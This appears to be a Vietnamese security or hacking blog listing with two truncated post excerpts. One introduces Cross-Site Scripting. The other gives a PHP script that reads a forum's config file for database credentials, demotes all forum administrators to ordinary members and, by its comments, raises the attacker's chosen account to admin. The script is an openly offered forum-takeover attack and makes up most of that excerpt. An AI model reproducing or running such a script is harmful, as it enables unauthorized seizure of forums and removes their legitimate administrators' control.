Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng..
Read more1đoạn script nhỏ <?php //dang ki thanh vien roi include(‘../../forum/includes/config.php’);//path den file config.php. “../” len tren 1 cap thu muc $nickname=’useradmin’;//nick muon set lam admin $db=mysql_connect(“$servername”,”$dbusername”,”$db password”); mysql_select_db(“$dbname”,$db); $table=$tableprefix.’user’; mysql_query(“UPDATE $table set usergroupid=2 WHERE usergroupid=6;”);//dua tat ca admin cua dien dan xuong member mysql_query(“UPDATE $table set userid=2147483647 WHERE userid=1;”); //sau do set minh len admin..
Read more
Leave a Reply